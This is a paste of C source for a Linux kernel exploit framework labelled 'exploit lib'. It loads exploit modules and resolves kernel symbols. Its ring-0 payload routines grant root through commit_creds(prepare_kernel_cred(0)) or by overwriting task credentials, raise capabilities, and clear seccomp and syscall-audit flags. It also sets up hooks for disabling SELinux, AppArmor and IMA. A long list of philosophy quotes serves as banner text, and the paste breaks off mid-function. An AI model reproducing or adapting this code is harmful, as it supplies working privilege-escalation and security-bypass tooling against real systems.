Untitled
raw download clone
TEXT
views 61
,
size 71974 b
/* exploit lib */

#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/personality.h>
#include <sys/uio.h>
#include <time.h>
#include <unistd.h>
#include <fnmatch.h>
#include <dirent.h>
#include <dlfcn.h>
#include <grp.h>
#include <assert.h>
#include "exp_framework.h"
#ifdef HAVE_SELINUX
#include <selinux/selinux.h>
#include <selinux/context.h>
#endif

#ifndef PATH_MAX
#define PATH_MAX 4095
#endif

typedef int (*_prepare_for_exploit)(unsigned char *buf);
typedef int (*_trigger_the_bug)(void);
typedef int (*_post_exploit)(void);
typedef int (*_ring0_cleanup)(void);
typedef int (*_get_exploit_state_ptr)(struct exploit_state *exp_state);

#define MAX_EXPLOITS 32

struct exploit_module {
	char desc[512];
	char cve[64];
	_get_exploit_state_ptr get_exploit_state_ptr;
	_prepare_for_exploit prep;
	_trigger_the_bug trigger;
	_post_exploit post;
	_ring0_cleanup ring0_cleanup;
	int requires_null_page;
	int requires_symbols_to_trigger;
} modules[MAX_EXPLOITS];
int num_exploits = 0;

char *thoughts[] = {
	"The limits of my language are the limits of my mind.  All I know is what I have words for. --Wittgenstein",
	"A clock struck noon; Lucien rose.  The metamorphosis was complete: " \
	"a graceful, uncertain adolescent had entered this cafe one hour " \
	"earlier; now a man left, a leader among Frenchmen.  Lucien took a few " \
	"steps in the glorious light of a French morning.  At the corner of " \
   	"Rue des Ecoles and the Boulevard Saint-Michel he went towards a "\
	"stationery shop and looked at himself in the mirror: he would have " \
	"liked to find on his own face the impenetrable look he admired on " \
	"Lemordant's.  But the mirror only reflected a pretty, headstrong " \
	"little face that was not yet terrible.  \"I'll grow a moustache,\" " \
	"he decided. --Sartre",
	"The whole problem with the world is that fools and fanatics are always " \
	"so full of themselves, but wiser people so full of doubts. --Russell",
	"Mathematics, rightly viewed, posses not only truth, but supreme " \
	"beauty cold and austere, like that of sculpture. --Russell",
	"The person who writes for fools is always sure of a large audience. --Schopenhauer",
	"With people of limited ability modesty is merely honesty.  But " \
	"with those who possess real talent it is hypocrisy. --Schopenhauer",
	"Seek not the favor of the multitude; it is seldom got by honest and lawful means.  " \
	"But seek the testimony of few; and number not voices, but weigh them. --Kant",
	"At this moment, when each of us must fit an arrow to his bow and " \
	"enter the lists anew, to reconquer, within history and in spite of it, " \
	"that which he owns already, the thin yield of his fields, the brief " \
	"love of the earth, at this moment when at last a man is born, it is " \
	"time to forsake our age and its adolescent furies.  The bow bends; " \
	"the wood complains.  At the moment of supreme tension, there will " \
	"leap into flight an unswerving arrow, a shaft that is inflexible and " \
	"free. --Camus",
	"We forfeit three-quarters of ourselves in order to be like other people. --Schopenhauer",
	"Style is what gives value and currency to thoughts. --Schopenhauer",
	"Every truth passes through three stages before it is recognized.  In " \
	"the first it is ridiculed, in the second it is opposed, in the third " \
	"it is regarded as self evident. --Schopenhauer",
	"Before the Law stands a doorkeeper.  To this doorkeeper there comes a " \
	"man from the country who begs for admittance to the Law.  But the doorkeeper " \
	"says that he cannot admit the man at the moment.  The man, on reflection, asks " \
	"if he will be allowed, then, to enter later.  'It is possible,' answers " \
	"the doorkeeper, 'but not at this moment.'  Since the door leading into the Law " \
	"stands open as usual and the doorkeeper steps to one side, the man bends " \
	"down to peer through the entrance.  When the doorkeeper sees that, he laughs " \
	"and says: 'If you are so strongly tempted, try to get in without my " \
	"permission.  But note that I am powerful.  And I am only the lowest " \
	"doorkeeper.  From hall to hall, keepers stand at every door, one more powerful " \
	"than the other.  And the sight of the third man is already more than even I " \
	"can stand.'  These are difficulties which the man from the country has not " \
	"expected to meet, the Law, he thinks, should be accessible to every man " \
	"and at all times, but when he looks more closely at the doorkeeper in his " \
	"furred robe, with his huge, pointed nose and long, thin, Tartar beard, " \
	"he decides that he had better wait until he gets permission to enter.  " \
	"The doorkeeper gives him a stool and lets him sit down at the side of " \
	"the door.  There he sits waiting for days and years.  He makes many " \
	"attempts to be allowed in and wearies the doorkeeper with his importunity.  " \
	"The doorkeeper often engages him in brief conversation, asking him about " \
	"his home and about other matters, but the questions are put quite impersonally, " \
	"as great men put questions, and always conclude with the statement that the man " \
	"cannot be allowed to enter yet.  The man, who has equipped himself with many " \
	"things for his journey, parts with all he has, however valuable, in the hope " \
	"of bribing the doorkeeper.  The doorkeeper accepts it all, saying, however, " \
	"as he takes each gift: 'I take this only to keep you from feeling that you " \
	"have left something undone.'  During all these long years the man watches " \
	"the doorkeeper almost incessantly.  He forgets about the other doorkeepers, " \
	"and this one seems to him the only barrier between himself and the Law.  " \
	"In the first years he curses his evil fate aloud; later, as he grows old, " \
	"he only mutters to himself.  He grows childish, and since in his prolonged " \
	"study of the doorkeeper he has learned to know even the fleas in his fur " \
	"collar, he begs the very fleas to help him and to persuade the doorkeeper " \
	"to change his mind.  Finally his eyes grow dim and he does not know whether " \
	"the world is really darkening around him or whether his eyes are only " \
	"deceiving him.  But in the darkness he can now perceive a radiance that streams " \
	"inextinguishably from the door of the Law.  Now his life is drawing to a close.  " \
	"Before he dies, all that he has experienced during the whole time of his sojourn " \
	"condenses in his mind into one question, which he has never yet put to the " \
	"doorkeeper.  He beckons the doorkeeper, since he can no longer raise his stiffening " \
	"body.  The doorkeeper has to bend far down to hear him, for the difference in " \
	"size between them has increased very much to the man's disadvantage.  'What " \
	"do you want to know now?' asks the doorkeeper, 'you are insatiable.'  " \
	"'Everyone strives to attain the Law,' answers the man, 'how does it come " \
	"about, then, that in all these years no one has come seeking admittance " \
	"but me?'  The doorkeeper perceives that the man is nearing his end and his " \
	"hearing is failing, so he bellows in his ear: 'No one but you could gain " \
	"admittance through this door, since this door was intended for you.  " \
	"I am now going to shut it.'  --Kafka",
	"These are the conclusions of individualism in revolt.  The individual cannot " \
	"accept history as it is.  He must destroy reality, not collaborate with it, " \
	"in order to reaffirm his own existence. --Camus",
	"The desire for possession is only another form of the desire to endure; it is " \
	"this that comprises the impotent delirium of love.  No human being, even " \
	"the most passionately loved and passionately loving, is ever in our possession. --Camus",
	"In art, rebellion is consummated and perpetuated in the act of real creation, " \
	"not in criticism or commentary. --Camus",
	"There is, therefore, only one categorical imperative.  It is: Act only according " \
	"to that maxim by which you can at the same time will that it should become a " \
	"universal law. --Kant",
	"You have your way.  I have my way.  As for the right way, the correct way, and " \
	"the only way, it does not exist. --Nietzsche",
	"The person lives most beautifully who does not reflect upon existence. --Nietzsche",
	"To be free is nothing, to become free is everything. --Hegel",
	"Man acts as though he were the shaper and master of language, while in fact language " \
	"remains the master of man. --Heidegger",
	"Truth always rests with the minority, and the minority is always stronger than the " \
	"majority, because the minority is generally formed by those who really have an " \
	"opinion, while the strength of a majority is illusory, formed by the gangs who " \
	"have no opinion -- and who, therefore, in the next instant (when it is evident " \
	"that the minority is the stronger) assume its opinion... while truth again reverts " \
	"to a new minority. --Kierkegaard",
	"Reading furnishes the mind only with materials of knowledge; it is thinking that " \
	"makes what we read ours. --Locke",
	"I would warn you that I do not attribute to nature either beauty or deformity, " \
	"order or confusion.  Only in relation to our imagination can things be called " \
	"beautiful or ugly, well-ordered or confused. --Spinoza",
	"The work of an intellectual is not to mould the political will of others; it is, " \
	"through the analyses that he does in his own field, to re-examine evidence and " \
	"assumptions, to shake up habitual ways of working and thinking, to dissipate " \
	"conventional familiarities, to re-evaluate rules and institutions and to " \
	"participate in the formation of a political will (where he has his role as " \
	"citizen to play). --Foucault",
	"The more I read, the more I meditate; and the more I acquire, the more I am " \
	"enabled to affirm that I know nothing. --Voltaire",
	"Completely joyless autumn days followed.  The novel was written, there was " \
	"nothing more to be done, and our life consisted of sitting on the rug next to " \
	"the stove, staring at the fire.  Besides, we started spending more time apart " \
	"than we had before.  She began going out for walks.  And something strange " \
	"happened, as had often been the case in my life... I suddenly made a friend.  " \
	"Yes, yes, imagine, I don't make friends easily as a rule, due to a devilish " \
	"peculiarity of mine: it's a strain for me to be with people, and I'm distrustful " \
	"and suspicious.  But -- imagine, despite all that, some unlikely, unexpected " \
	"fellow, who looks like the devil knows what, will unfailingly make his way into " \
	"my heart, and he'll be the one I like more than anyone else. --Bulgakov",
	"But what are smart people smart for, if not to untangle tangled things? --Bulgakov",
	"You pronounced your words as if you refuse to acknowledge the existence of either " \
	"shadows or evil.  But would you kindly ponder this question: What would your good " \
	"do if evil didn't exist, and what would the earth look like if all the shadows " \
	"disappeared?  After all, shadows are cast by things and people.  Here is a shadow " \
	"of my sword.  But shadows also come from trees and from living beings.  Do you want to " \
	"strip the earth of all trees and living things just because of your fantasy of enjoying " \
	"naked light?  You're stupid. --Bulgakov",
	"\"Excuse me, but this is, after all, absurd,\" said Korovyov, refusing to give in.  " \
	"\"It isn't an ID that defines a writer, but what he has written!  How can you know what " \
	"ideas are fermenting in my brain?\"  --Bulgakov",
	"Beauty is a fearful and terrible thing!  Fearful because it's undefinable, and it " \
	"cannot be defined, because here God gave us only riddles.  Here the shores converge, " \
	"here all contradictions live together.  I'm a very uneducated man, brother, but I've " \
	"thought about it a lot.  So terribly many mysteries!  Too many riddles oppress man on " \
	"earth.  Solve them if you can without getting your feet wet.  Beauty!  Besides, I can't " \
	"bear it that some man, even with a lofty heart and the highest mind, should start from " \
	"the ideal of the Madonna and end with the ideal of Sodom.  It's even more fearful when " \
	"one who already has the ideal of Sodom in his soul does not deny the ideal of the " \
	"Madonna either, and his heart burns with it, verily, verily burns, as in his young, " \
	"blameless years.  No, man is broad, even too broad, I would narrow him down.  Devil " \
	"knows even what to make of him, that's the thing!  What's shame for the mind is beauty " \
	"all over for the heart.  Can there be beauty in Sodom?  Believe me, for the vast " \
	"majority of the people, that's just where beauty lies -- did you know that secret?  " \
	"The terrible thing is that beauty is not only fearful but also mysterious.  Here the " \
	"devil is struggling with God, and the battlefield is the human heart.  --Dostoevsky",
	"\"I heard exactly the same thing, a long time ago to be sure, from a doctor,\" the " \
	"elder remarked.  \"He was then an old man, and unquestionably intelligent.  " \
	"He spoke just as frankly as you, humorously, but with a sorrowful humor.  'I love " \
	"mankind,' he said, 'but I am amazed at myself: the more I love mankind in general, " \
	"the less I love people in particular, that is, individually, as separate persons.  " \
	"In my dreams,' he said, 'I often went so far as to think passionately of serving " \
	"mankind, and, it may be, would really have gone to the cross for people if it were " \
	"somehow suddenly necessary, and yet I am incapable of living in the same room with " \
	"anyone even for two days, this I know from experience.  As soon as someone is there, " \
	"close to me, his personality oppresses my self-esteem and restricts my freedom.  In " \
	"twenty-four hours I can begin to hate even the best of men: one because he takes too " \
	"long eating his dinner, another because he has a cold and keeps blowing his nose.  " \
	"I become the enemy of people the moment they touch me,' he said.  'On the other hand, " \
	"it has always happened that the more I hate people individually, the more ardent " \
	"becomes my love for humanity as a whole.'\" --Dostoevsky",
	"A man who lies to himself is often the first to take offense.  It sometimes feels " \
	"very good to take offense, doesn't it?  And surely he knows that no one has offended " \
	"him, and that he himself has invented the offense and told lies just for the beauty " \
	"of it, that he has exaggerated for the sake of effect, that he has picked on a word " \
	"and made a mountain out of a pea -- he knows all of that, and still he is the first " \
	"to take offense, he likes feeling offended, it gives him great pleasure, and thus " \
	"he reaches the point of real hostility. --Dostoevsky",
	"If your opponent is weak or does not wish to appear as if he has no idea what you " \
	"are talking about, you can easily impose upon him some argument that sounds very deep " \
	"or learned, or that sounds indisputable. --Schopenhauer",
	"Self-knowledge -- the bitterest knowledge of all and also the kind we cultivate " \
	"least: what is the use of catching ourselves out, morning to night, in the act " \
	"of illusion, pitilessly tracing each act back to its root, and losing case after " \
	"case before our own tribunal? --Cioran",
	"A man who fears ridicule will never go far, for good or ill: he remains on this side " \
	"of his talents, and even if he has genius, he is doomed to mediocrity. --Cioran",
	"In order to understand the world, one has to turn away from it on occasion. --Camus",
	"Man stands face to face with the irrational.  He feels within him his longing for " \
	"happiness and for reason.  The absurd is born of this confrontation between the " \
	"human need and the unreasonable silence of the world. --Camus"
};

void RANDOM_THOUGHT(void)
{
	int i;
	char *thought;
	char *p, *p2;
	char c;
	int size_of_thought;
	srand(time(NULL));
	thought = strdup(thoughts[rand() % (sizeof(thoughts)/sizeof(thoughts[0]))]);
	if (thought == NULL)
		return;
	size_of_thought = strlen(thought);
	fprintf(stdout, " ------------------------------------------------------------------------------\n");
	for (i = 0; i < size_of_thought;) {
		if (i + 78 >= size_of_thought) {
			fprintf(stdout, " %.78s\n", &thought[i]);
			break;
		}
		p = &thought[i + 77];
		c = *p;
		*p = '\0';
		p2 = strrchr(&thought[i], ' ');
		*p = c;
		if (p2) {
			*p2 = '\n';
			c = p2[1];
			p2[1] = '\0';
			fprintf(stdout, " %.78s", &thought[i]);
			p2[1] = c;
			i += (int)((unsigned long)p2 + 1 - (unsigned long)&thought[i]);
		} else {
			fprintf(stdout, " %.78s\n", &thought[i]);
			break;
		}
	}
	fprintf(stdout, " ------------------------------------------------------------------------------\n");
	free(thought);
}

int check_entry(const struct dirent *dir)
{
	if (!fnmatch("exp_*.so", dir->d_name, 0))
		return 1;
	return 0;
}

void add_exploit_modules(void)
{
	struct dirent **namelist;
	void *mod;
	void *desc, *prepare, *trigger, *post, *get_exp_state_ptr, *requires_null_page, *ring0_cleanup, *requires_symbols_to_trigger, *cve;
	char tmpname[PATH_MAX];
	int n;
	int i;

	chdir("/home/spender");

	n = scandir(".", &namelist, &check_entry, alphasort);
	if (n < 0) {
		fprintf(stdout, "No exploit modules found, exiting...\n");
		exit(1);
	}
	for (i = 0; i < n; i++) {
		snprintf(tmpname, sizeof(tmpname)-1, "./%s", namelist[i]->d_name);
		tmpname[sizeof(tmpname)-1] = '\0';
		mod = dlopen(tmpname, RTLD_NOW);
		if (mod == NULL) {
unable_to_load:
			fprintf(stdout, "Unable to load %s\n", namelist[i]->d_name);
			free(namelist[i]);
			continue;
		}
		desc = dlsym(mod, "desc");
		cve = dlsym(mod, "cve");
		prepare = dlsym(mod, "prepare");
		ring0_cleanup = dlsym(mod, "ring0_cleanup");
		trigger = dlsym(mod, "trigger");
		post = dlsym(mod, "post");
		requires_null_page = dlsym(mod, "requires_null_page");
		requires_symbols_to_trigger = dlsym(mod, "requires_symbols_to_trigger");
		get_exp_state_ptr = dlsym(mod, "get_exploit_state_ptr");

		if (desc == NULL || prepare == NULL || trigger == NULL || post == NULL || get_exp_state_ptr == NULL || requires_null_page == NULL || cve == NULL)
			goto unable_to_load;

#ifdef NON_NULL_ONLY
		if (*(int *)requires_null_page) {
			free(namelist[i]);
			dlclose(mod);
			continue;
		}
#else
		if (!*(int *)requires_null_page) {
			free(namelist[i]);
			dlclose(mod);
			continue;
		}
#endif

		if (num_exploits >= MAX_EXPLOITS) {
			fprintf(stdout, "Max exploits reached.\n");
			return;
		}
		strncpy(modules[num_exploits].desc, *(char **)desc, sizeof(modules[num_exploits].desc) - 1);
		strncpy(modules[num_exploits].cve, *(char **)cve, sizeof(modules[num_exploits].cve) - 1);
		modules[num_exploits].desc[sizeof(modules[num_exploits].desc)-1] = '\0';
		modules[num_exploits].prep = (_prepare_for_exploit)prepare;
		modules[num_exploits].trigger = (_trigger_the_bug)trigger;
		modules[num_exploits].post = (_post_exploit)post;
		modules[num_exploits].ring0_cleanup = (_ring0_cleanup)ring0_cleanup;
		modules[num_exploits].get_exploit_state_ptr = (_get_exploit_state_ptr)get_exp_state_ptr;
		modules[num_exploits].requires_null_page = *(int *)requires_null_page;
		modules[num_exploits].requires_symbols_to_trigger = requires_symbols_to_trigger ? *(int *)requires_symbols_to_trigger : 0;
		free(namelist[i]);
		num_exploits++;
	}

	return;
}

struct exploit_state exp_state;
int eightk_stack = 0;
int twofourstyle = 0;
int raised_caps = 0;
unsigned long current_addr = 0;
int cred_support = 0;
int cred_offset = 0;
int fs_offset = 0;
int aio_read_offset = 0;
int has_vserver = 0;
int vserver_offset = 0;
unsigned long init_cred_addr = 0;
unsigned long default_exec_domain = 0;
unsigned int current_personality = 0;
unsigned int current_pid = 0;

#define TASK_RUNNING 0

#ifdef __x86_64__
#define KERNEL_BASE 0xffffffff81000000UL
#define KSTACK_MIN  0xffff800000000000UL
#define KSTACK_MAX  0xfffffffff0000000UL
#else
#define KERNEL_BASE 0xc0000000UL
#define KSTACK_MIN  0xc0000000UL
#define KSTACK_MAX  0xfffff000UL
#endif

char *exit_stack;

static inline unsigned long get_current_4k(void)
{
	unsigned long current = 0;
	unsigned long exec_domain = 0;

	current = (unsigned long)&current;

	exec_domain = *(unsigned long *)((current & ~(0x1000 - 1)) + sizeof(unsigned long));
	current = *(unsigned long *)(current & ~(0x1000 - 1));
	if (current < KSTACK_MIN || current > KSTACK_MAX)
		return 0;
	if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
		return 0;
	if (default_exec_domain && exec_domain != default_exec_domain)
		return 0;
	if (*(long *)current != TASK_RUNNING)
		return 0;

	return current;
}

static inline unsigned long get_current_8k(void)
{
	unsigned long current = 0;
	unsigned long exec_domain = 0;
	unsigned int *flags;
	unsigned long oldstyle = 0;

	eightk_stack = 1;

	current = (unsigned long)&current;
	oldstyle = current & ~(0x2000 - 1);
	current = *(unsigned long *)(oldstyle);
	exec_domain = *(unsigned long *)(oldstyle + sizeof(unsigned long));
	flags = (unsigned int *)(oldstyle + (2 * sizeof(unsigned long)));
	twofourstyle = 1;
	if (current < KSTACK_MIN || current > KSTACK_MAX)
		return oldstyle;
	if (exec_domain < KSTACK_MIN || exec_domain > KSTACK_MAX)
		return oldstyle;
	if (default_exec_domain && exec_domain != default_exec_domain)
		return oldstyle;
	if (*(long *)current != TASK_RUNNING)
		return oldstyle;

	// disable SECCOMP
	*flags &= ~(1 << 8);
	// disable syscall auditing
	*flags &= ~(1 << 7);

	twofourstyle = 0;
	return current;
}

static int requires_symbols_to_trigger;

static int kallsyms_is_hidden;

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	if (kallsyms_is_hidden)
		goto fallback;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname) && addr) {
			fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		} else if (!strcmp(name, sname)) {
			kallsyms_is_hidden = 1;
		}
	}

	fclose(f);
	if (rep == 2)
		return 0;
	else if (rep == 1)
		goto fallback2;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		goto fallback2;
	rep = 1;
	goto repeat;
fallback2:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (!strncmp(ver.release, "2.4", 3) || !strncmp(ver.release, "2.2", 3))
		oldstyle = 1;
	sprintf(sname, "./System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL) {
		sprintf(sname, "./System.map");
		f = fopen(sname, "r");
		if (f == NULL) {
			if (requires_symbols_to_trigger) {
				printf("Unable to acquire kernel symbols.  Copy the appropriate System.map to the current directory.\n");
				exit(1);
			} else
				return 0;
		}
	}
	rep = 2;
	goto repeat;
}

/* for switching from interrupt to process context */
unsigned long *ptmx_fops;

/* check for xen support */
unsigned long *xen_start_info;
int xen_detected;
int can_change_ptes;

int bad_kallsyms_lookup_name;

/* check if DEBUG_RODATA only protects .rodata */
unsigned long mark_rodata_ro;
unsigned long set_kernel_text_ro;

int *audit_enabled;
int *ima_audit;

int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *init_task;
unsigned long init_fs;

unsigned long *bad_file_ops;
unsigned long bad_file_aio_read;

unsigned long vc_sock_stat;

unsigned char *ima_bprm_check;
unsigned char *ima_file_mmap;
unsigned char *ima_path_check;
/* whoa look at us, 2.6.33 support before it's even released */
unsigned char *ima_file_check;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_enforce;

int what_we_do;

unsigned int our_uid;

typedef void __attribute__((regparm(3))) (* _set_fs_root)(unsigned long fs, unsigned long path);
typedef void __attribute__((regparm(3))) (* _set_fs_pwd)(unsigned long fs, unsigned long path);
typedef bool __attribute__((regparm(3))) (* _virt_addr_valid)(unsigned long addr);

typedef void __attribute__((regparm(3))) (* _prepare_ve0_process)(unsigned long tsk);

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readonly)(unsigned long addr);
typedef void __attribute__((regparm(3))) (* _make_lowmem_page_readwrite)(unsigned long addr);

_make_lowmem_page_readonly make_lowmem_page_readonly;
_make_lowmem_page_readwrite make_lowmem_page_readwrite;
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
_prepare_ve0_process prepare_ve0_process;
_set_fs_root set_fs_root;
_set_fs_pwd set_fs_pwd;
_virt_addr_valid virt_addr_valid;

struct cred {
	int usage; // must be >= 4
	int uid; // 0
	int gid; // 0
	int suid; // 0
	int sgid; // 0
	int euid; // 0
	int egid; // 0
	int fsuid; // 0
	int fsgid; // 0
	int securebits; // SECUREBITS_DEFAULT 0x00000000
	unsigned int cap_inheritable[2]; // CAP_INIT_INH_SET {0, 0}
	unsigned int cap_permitted[2]; // CAP_FULL_SET { ~0, ~0 }
	unsigned int cap_effective[2]; // CAP_INIT_EFF_SET { ~(1 << 8), ~0 }
	unsigned int cap_bset[2]; // CAP_INIT_BSET -> CAP_FULL_SET || CAP_INIT_EFF_SET
};

static inline unsigned long *pg_to_ptr(unsigned long addr)
{
	return (unsigned long *)(0xffff880000000000UL + (addr & 0x000ffffffffff000UL));
}

static inline unsigned long pte_to_kaddr(unsigned long pte)
{
	return 0xffffffff80000000UL + (pte & 0x000ffffffffff000UL);
}

#define NUM_RANGES 64

static unsigned long valid_ranges[NUM_RANGES][2];

/* elito #2 */
static inline void find_kernel_ranges(void)
{
	unsigned long i, z, t;
	unsigned long _cr3;
	unsigned long *kernelpg;
	unsigned long *kernelpte;
	int rangeidx = 0;
	int x = -1;

	if (valid_ranges[0][0])
		return;

	asm volatile (
	"mov %%cr3, %0"
	: "=r" (_cr3)
	);

	kernelpg = pg_to_ptr(pg_to_ptr(pg_to_ptr(_cr3)[511])[510]);
	for (i = 0; i < 511; i++) {
		if ((kernelpg[i] & 1) && x < 0) {
			x = i;
		}
		if (!(kernelpg[i+1] & 1) && x >= 0) {
			break;
		}
	}
	for (z = x; z <= i; z++) {
		// large page
		if ((kernelpg[z] & (1 << 7)) && !valid_ranges[rangeidx][0])
			valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpg[z]);
		else if (!(kernelpg[z] & (1 << 7))) {
			// check 4K pages
			kernelpte = pg_to_ptr(kernelpg[z]);
			for (t = 0; t < 511; t++) {
				if ((kernelpte[t] & 0x1) && !valid_ranges[rangeidx][0])
					valid_ranges[rangeidx][0] = pte_to_kaddr(kernelpte[t]);
				else if (!(kernelpte[t] & 0x1) && !valid_ranges[rangeidx][1]) {
					valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[z]);
					rangeidx++;
					if (rangeidx >= NUM_RANGES)
						return;
				}
				else if (!(kernelpte[t+1] & 0x1) && !valid_ranges[rangeidx][1]) {
					valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpte[t]) + 0x1000;
					rangeidx++;
					if (rangeidx >= NUM_RANGES)
						return;
				}
			}
		}
	}

	if (valid_ranges[rangeidx][0] && !valid_ranges[rangeidx][1]) {
		valid_ranges[rangeidx][1] = pte_to_kaddr(kernelpg[i]) + 0x200000;
	}
}

static inline unsigned long find_init_cred(void)
{
	unsigned long len;
	struct cred *tmp;
	int i, x;

	find_kernel_ranges();
	if (!valid_ranges[0][0] || !valid_ranges[0][1])
		return 0;

	for (x = 0; valid_ranges[x][0]; x++) {
	for (i = 0; i < valid_ranges[x][1] - valid_ranges[x][0] - sizeof(struct cred); i++) {
		tmp = (struct cred *)valid_ranges[x][0];
		if (tmp->usage >= 4 && tmp->uid == 0 && tmp->gid == 0 &&
		    tmp->suid == 0 && tmp->sgid == 0 && tmp->euid == 0 &&
		    tmp->egid == 0 && tmp->fsuid == 0 && tmp->fsgid == 0 &&
		    tmp->securebits == 0 && tmp->cap_inheritable[0] == 0 &&
		    tmp->cap_inheritable[1] == 0 && tmp->cap_permitted[0] == ~0 &&
		    tmp->cap_permitted[1] == ~0 &&
		    (tmp->cap_effective[0] == ~(1 << 8) || tmp->cap_effective[0] == ~0) &&
		    tmp->cap_effective[1] == ~0 &&
		    (tmp->cap_bset[0] == ~0 || tmp->cap_bset[0] == ~(1 << 8)) && 
		    tmp->cap_bset[1] == ~0)
			return (unsigned long)tmp;
	}
	}

	return 0UL;
}

static void bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(unsigned long orig_current)
{
	/* cause it's a trillion dollar industry */
	unsigned char *current = (unsigned char *)orig_current;
	struct cred *init_cred_addr, **cred, **real_cred;
	int i;

	init_cred_addr = (struct cred *)find_init_cred();
	if (!init_cred_addr)
		return;

	/* ok, we couldn't find our UIDs in the task struct
	   and we don't have the symbols for the creds
	   framework, discover it in a stupidly easy way:
	   in task_struct:
	   ...stuff...
	   const struct cred *real_cred;
	   const struct cred *cred;
	   struct mutex cred_exec_mutex;
	   char comm[16];
	   ...stuff...

	   if we were executed from main, then our name is
	   "exploit", otherwise it's "pulseaudio"
	   then we find init_cred through heuristics
	   increment its refcnt appropriately
	   and set up our credentials
	*/

	for (i = 0; i < 0x1000 - 16; i++) {
		if ((exp_state.run_from_main == 1 && !memcmp(&current[i], "exploit", strlen("exploit") + 1)) ||
		    (exp_state.run_from_main == 0 && !memcmp(&current[i], "pulseaudio", strlen("pulseaudio") + 1))) {
			/* now work backwards till we find the two cred pointers
			*/
			for (i-=sizeof(unsigned long); i > sizeof(unsigned long); i-=sizeof(unsigned long)) {
				if (*((unsigned long *)&current[i]) != *((unsigned long *)&current[i-sizeof(unsigned long)]))
					continue;
				 // unlocked
				cred_offset = i - sizeof(char *);
				real_cred = (struct cred **)&current[i-sizeof(char *)];
				cred = (struct cred **)&current[i];
				/* found init_cred, so now point our
				   cred struct to it, and increment usage!
				*/
				*real_cred = *cred = init_cred_addr;
				init_cred_addr->usage+=2;
				exp_state.got_root = 1;
				return;
			}
			return;
		}
	}
	return;
}

static void give_it_to_me_any_way_you_can(void)
{
	unsigned long orig_current;

	orig_current = get_current_4k();
	if (orig_current == 0)
		orig_current = get_current_8k();

	current_addr = orig_current;

	if (commit_creds && prepare_kernel_cred) {
		commit_creds(prepare_kernel_cred(0));
		exp_state.got_root = 1;
	} else {
		unsigned int *current;

		current = (unsigned int *)orig_current;
		while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
			(current[0] != our_uid || current[1] != our_uid ||
			 current[2] != our_uid || current[3] != our_uid))
			current++;

		if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
			bella_mafia_quackafella_records_incorporated_by_rhyme_syndicate_three_yellow_men_trillionaire_club(orig_current);
			cred_support = 1;
			return;
		}
		exp_state.got_root = 1;
		/* clear the UIDs and GIDs */
		memset(current, 0, sizeof(unsigned int) * 8);
		/* now let's try to elevate our capabilities as well (pre-creds structure)
		   2.4 has next: int ngroups; gid_t groups[NGROUPS]; then caps
		   2.6 has next: struct group_info *group_info; then caps
		   we could actually capget, but lets assume all three are 0
		   in both cases, the capabilities occur before:
			unsigned keep_capabilities:1;
			struct user_struct *user;
		   so we'll be fine with clobbering all 0s in between
		  */
		{
			int i;
			int zeroed;

			current += 8; // skip uids/gids
			/* skip over any next pointer */
			current += (sizeof(unsigned long) == sizeof(unsigned int)) ? 1 : 2;
			for (i = 0; i < 40; i++) {
				if (!current[i]) {
					zeroed = 1;
					current[i] = 0xffffffff;
					raised_caps = 1;
				/* once we zero a block, stop when we 
				   find something non-zero
				*/
				} else if (zeroed)
					break;
			}
		}

		/* now let's disable NNP */
		current = (unsigned int *)orig_current;
		while ((unsigned long)current < (orig_current - 12)) {
			if (current[0] == current_personality && current[2] == current_pid) {
				current[1] = 0;
				break;
			}
			current++;
		}
		
	}

	return;
}

unsigned long inline get_cr0(void)
{
	unsigned long _cr0;

	asm volatile (
